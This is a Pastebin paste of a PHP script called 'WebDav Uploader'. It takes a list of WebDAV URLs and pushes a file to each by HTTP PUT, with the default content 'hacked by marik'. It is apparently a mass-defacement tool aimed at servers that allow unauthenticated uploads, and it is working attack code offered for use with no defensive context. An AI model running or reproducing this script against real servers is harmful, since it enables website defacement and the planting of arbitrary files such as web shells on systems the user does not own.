Advertisement
tobitaz

webdav.php

Aug 19th, 2013 (edited)
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.19 KB | None | 0 0
  1. <center>
  2. <font style="font-size:40px;">WebDav Uploader</font>
  3. <?php
  4.  
  5. echo '<form action="" method="post">
  6.        Filename:<input name="nam" value="mav.txt"><br />
  7.        Text:<br />
  8.        <textarea name="isi" cols="50" rows="30">hacked by marik</textarea><br />
  9.        webdav url:<br />
  10.        <textarea name="wd" cols="50" rows="30">http://</textarea><br />
  11.        <input type="submit">
  12.        </form>';
  13.  
  14.  
  15.  
  16. $filename = $_POST["nam"];
  17. $url = $_POST["wd"];
  18. $isi = $_POST["isi"];
  19.  
  20. $wd = preg_split('/(\r?\n)+/', $_POST['wd']);
  21.       foreach($wd as $phc)
  22.    {
  23.  
  24. $taz = fopen("sementara.phc", "w+");
  25.           fwrite($taz, $isi);
  26.           fclose($taz);
  27.  
  28.  
  29.  
  30.  
  31.  
  32. // Prepare the file we are going to upload
  33. $filepath = "sementara.phc";
  34. $filesize = filesize($filepath);
  35. $fh = fopen($filepath, 'r');
  36.  
  37.  
  38.    
  39.  
  40.  
  41.  
  42. // The URL where we will upload to, this should be the exact path where the file
  43. // is going to be placed
  44. $remoteUrl = $phc;
  45.  
  46.  
  47. // Initialize cURL and set the options required for the upload. We use the remote
  48. // path we specified together with the filename. This will be the result of the
  49. // upload.
  50. $ch = curl_init($remoteUrl ."/". $filename);
  51.  
  52. // I'm setting each option individually so it's easier to debug them when
  53. // something goes wrong. When your configuration is done and working well
  54. // you can choose to use curl_setopt_array() instead.
  55.  
  56. // Set the authentication mode and login credentials
  57. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  58.  
  59.  
  60. // Define that we are going to upload a file, by setting CURLOPT_PUT we are
  61. // forced to set CURLOPT_INFILE and CURLOPT_INFILESIZE as well.
  62. curl_setopt($ch, CURLOPT_PUT, true);
  63. curl_setopt($ch, CURLOPT_INFILE, $fh);
  64. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  65.  
  66. // Execute the request, upload the file
  67. $cek = curl_exec($ch);
  68.  
  69. if($url != null)
  70.   {
  71.   if($cek === false)
  72.      {
  73.      echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[failed]<br />";
  74.      }
  75.     else
  76.      {
  77.       echo "<a href='".$phc."/".$filename."'>".$phc."/".$filename."</a>:[uploaded]<br />";
  78.       }
  79.   }
  80.  else
  81.   {
  82.   }
  83.  
  84.  
  85. // Close the file handle
  86. fclose($fh);
  87. }
  88.  
  89. unlink("sementara.phc");
  90.  
  91. ?>
  92. </font>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement